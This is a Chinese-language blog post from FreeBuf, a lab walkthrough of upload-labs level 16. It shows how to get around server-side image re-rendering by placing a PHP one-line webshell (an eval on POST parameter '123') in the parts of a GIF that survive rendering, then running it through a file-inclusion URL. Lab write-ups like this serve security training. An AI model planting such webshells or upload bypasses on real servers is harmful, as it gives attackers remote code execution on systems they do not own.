freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

upload-labs16关-详解(判断是否为照片后进行二次渲染)
2022-06-30 14:35:43
所属地 山东省

upload-labs16关-详解(判断是否为照片后进行二次渲染)

首先看一下源码
image

了解函数
imagecreatefromgif():
创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():
创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():
创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
imagecreatefromwbmp():
创建一块画布,并从 WBMP 文件或 URL 地址载入一副图像
imagecreatefromstring():
创建一块画布,并从字符串中的图像流新建一副图像

首先我们像前面关卡一样,上传图片马,按照我们的习惯,将会在图片的尾部,写入php一句话木马,然后用菜刀或者蚁剑连接,我们先按照此方法进行试验

(1)上传图片马
image
(2)用burp拦截,拦截到上传的包
image

(3)在图片尾部插入一句话木马,密码是123

<?php @eval($_POST[123]); ?>

image

放包上传
image

(4)将图片地址复制下来,用菜刀连接,密码设置的是123
image

发现连接失败
image

原因是照片上传后被渲染了

2. 开始分析渲染的内容

首先将渲染的图片地址复制下来,我们下载到本地

图像另存为,放到桌面,名称是2.gif,原始图片是1.gif
image
使用hexcap进行文件十六进制对比

红白区域是未被渲染的,红色区域都是已经被渲染的,观察,已经和源文件的hex值不一样了
image

image

我们将一句话木马插入没有被渲染的地方,大概就是在文件前段,
(注意:不要从头部插入,会破坏gif文件头,验证图片失败,上传不了)

再次上传,并burp抓包
image

结合文件包含漏洞,使用include.php
构成payload
http://192.168.1.66/upload/include.php?file=upload/6169.gif
(别忘了使用include.php包含漏洞)
image

成功

image

同步本人CSDN文章:

https://blog.csdn.net/qq_44133136/article/details/109208174

# 文件上传 # 靶场实战 # 靶场复现
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录